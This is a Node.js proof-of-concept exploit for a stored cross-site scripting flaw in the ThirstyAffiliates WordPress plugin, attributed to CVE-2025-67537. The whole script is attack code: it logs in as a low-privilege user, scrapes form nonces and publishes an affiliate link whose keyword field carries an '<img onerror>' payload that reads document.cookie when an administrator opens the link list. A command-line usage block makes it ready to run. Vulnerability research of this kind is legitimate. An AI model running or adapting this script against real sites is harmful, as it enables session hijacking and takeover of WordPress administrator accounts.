// CVE-2025-67537 Stored XSS PoC for ThirstyAffiliates <= 3.11.8
// Author: Security Researcher
// Target: WordPress with ThirstyAffiliates plugin installed
// This PoC demonstrates the stored XSS vulnerability in ThirstyAffiliates plugin
// The attacker needs low-privilege WordPress account (subscriber/contributor role)
const axios = require('axios');
const crypto = require('crypto');
class ThirstyAffiliatesXSS {
constructor(targetUrl, username, password) {
this.targetUrl = targetUrl.replace(/\/$/, '');
this.username = username;
this.password = password;
this.cookieJar = [];
this.nonce = null;
}
async login() {
// Step 1: Obtain WordPress login nonce
const loginPage = await axios.get(`${this.targetUrl}/wp-login.php`);
const loginNonceMatch = loginPage.data.match(/name="_wpnonce" value="([^"]+)"/);
if (!loginNonceMatch) {
throw new Error('Failed to obtain login nonce');
}
this.nonce = loginNonceMatch[1];
// Step 2: Perform login
const loginData = new URLSearchParams({
'log': this.username,
'pwd': this.password,
'wp-submit': 'Log In',
'_wpnonce': this.nonce,
'redirect_to': '/wp-admin/',
'testcookie': '1'
});
const loginResponse = await axios.post(
`${this.targetUrl}/wp-login.php`,
loginData.toString(),
{
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': 'wordpress_test_cookie=WP+Cookie+check'
},
maxRedirects: 0,
validateStatus: (status) => status < 400
}
);
// Extract authentication cookies
const setCookie = loginResponse.headers['set-cookie'] || [];
this.cookieJar = setCookie.map(c => c.split(';')[0]).join('; ');
console.log('[+] Login successful');
return true;
}
async addMaliciousLink() {
// Step 3: Navigate to ThirstyAffiliates link adder
const addLinkPage = await axios.get(
`${this.targetUrl}/wp-admin/post-new.php?post_type=thirstylink`,
{ headers: { 'Cookie': this.cookieJar } }
);
// Extract nonce for link creation
const addNonce = addLinkPage.data.match(/name="_wpnonce" value="([^"]+)"/);
if (!addNonce) {
throw new Error('Failed to obtain add link nonce');
}
// Step 4: Inject stored XSS payload
// Payload: <img src=x onerror=alert(document.cookie)>
// This will execute when admin views the link in admin panel
const xssPayload = '<img src=x onerror=alert(document.cookie)>';
const linkData = new URLSearchParams({
'post_title': 'Malicious Affiliate Link ' + Date.now(),
'content': '',
'_wpnonce': addNonce[1],
'_wp_http_referer': '/wp-admin/post-new.php?post_type=thirstylink',
'tax_input[thirstylink-category]': '',
'ta_destination_url': 'https://malicious-site.com',
'ta_keyword': xssPayload, // XSS payload injected here
'publish': 'Publish'
});
const publishResponse = await axios.post(
`${this.targetUrl}/wp-admin/post.php`,
linkData.toString(),
{
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': this.cookieJar,
'Referer': `${this.targetUrl}/wp-admin/post-new.php?post_type=thirstylink`
}
}
);
if (publishResponse.status === 200) {
console.log('[+] Malicious link created successfully');
console.log('[+] XSS payload stored in plugin database');
console.log('[+] Payload will execute when admin views link list');
return true;
}
return false;
}
async exploit() {
console.log('[*] CVE-2025-67537 Exploitation');
console.log('[*] Target: ThirstyAffiliates <= 3.11.8');
console.log('[*] Vulnerability: Stored XSS in link keyword field\n');
try {
await this.login();
await this.addMaliciousLink();
console.log('\n[*] Exploitation complete');
console.log('[*] Wait for admin to view links to trigger XSS');
} catch (error) {
console.error('[-] Error:', error.message);
}
}
}
// Usage
if (require.main === module) {
const target = process.argv[2] || 'http://target-wordpress-site.com';
const user = process.argv[3] || 'attacker';
const pass = process.argv[4] || 'password';
const exploit = new ThirstyAffiliatesXSS(target, user, pass);
exploit.exploit();
}
// Node.js execution: node poc.js http://target.com attacker password
// Python alternative: Use requests library with similar logic